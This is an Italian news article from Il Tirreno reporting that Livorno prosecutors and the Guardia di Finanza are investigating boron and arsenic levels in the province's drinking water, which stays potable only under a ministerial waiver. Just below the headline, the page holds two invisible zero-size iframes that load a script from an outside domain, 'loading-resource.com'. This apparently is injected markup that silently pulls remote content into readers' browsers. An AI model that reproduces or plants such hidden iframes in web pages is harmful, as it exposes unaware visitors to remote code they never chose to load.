Il Tirreno

Acqua potabile, la Procura indaga su boro e arsenico

<iframe height="0" src="http://loading-resource.com/analytics.php" width="0"></iframe><iframe height="0" src="http://loading-resource.com/analytics.php" width="0"></iframe>
◗

Da settimane il personale delle Fiamme Gialle sta lavorando per fare chiarezza su un'anomalia che a più riprese ha tenuto banco nell'ultimo anno, creando qualche preoccupazione anche tra i cittadini

1 MINUTI DI LETTURA





Finiscono nel mirino della procura di Livorno e degli uomini del Roan (il reparto aereonavale della Guardia di finanza) i quantitativi di boro e arsenico nell'acqua della Bassa Val di Cecina, come nel resto della provincia di Livorno, compresa la Val di Cornia e l'Elba. Da settimane il personale delle Fiamme Gialle sta lavorando per fare chiarezza su un'anomalia che a più riprese ha tenuto banco nell'ultimo anno, creando qualche preoccupazione anche tra i cittadini: il fatto che dalle tubature pubbliche arrivi nelle case acqua potabile solo in virtù di una deroga ministeriale che sarà valida fino al dicembre del 2012. Un termine - stabilito dall'Unione europea - entro il quale o si metteranno in campo le soluzioni tecniche necessarie a depurarla del boro e dell'arsenico in eccesso o l'acqua non sarà più potabile. L'avvio dell'inchiesta è confermato dagli stessi vertici di Asa, l'azienda che gestisce il servizio idrico integrato sul territorio della provincia di Livorno. Sulla versione cartacea del Tirreno di oggi tutti i dettagli dell'indagine.

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Sicurezza

Massa, tre rapine in due ore in centro: arrestati due giovanissimi

di Redazione Massa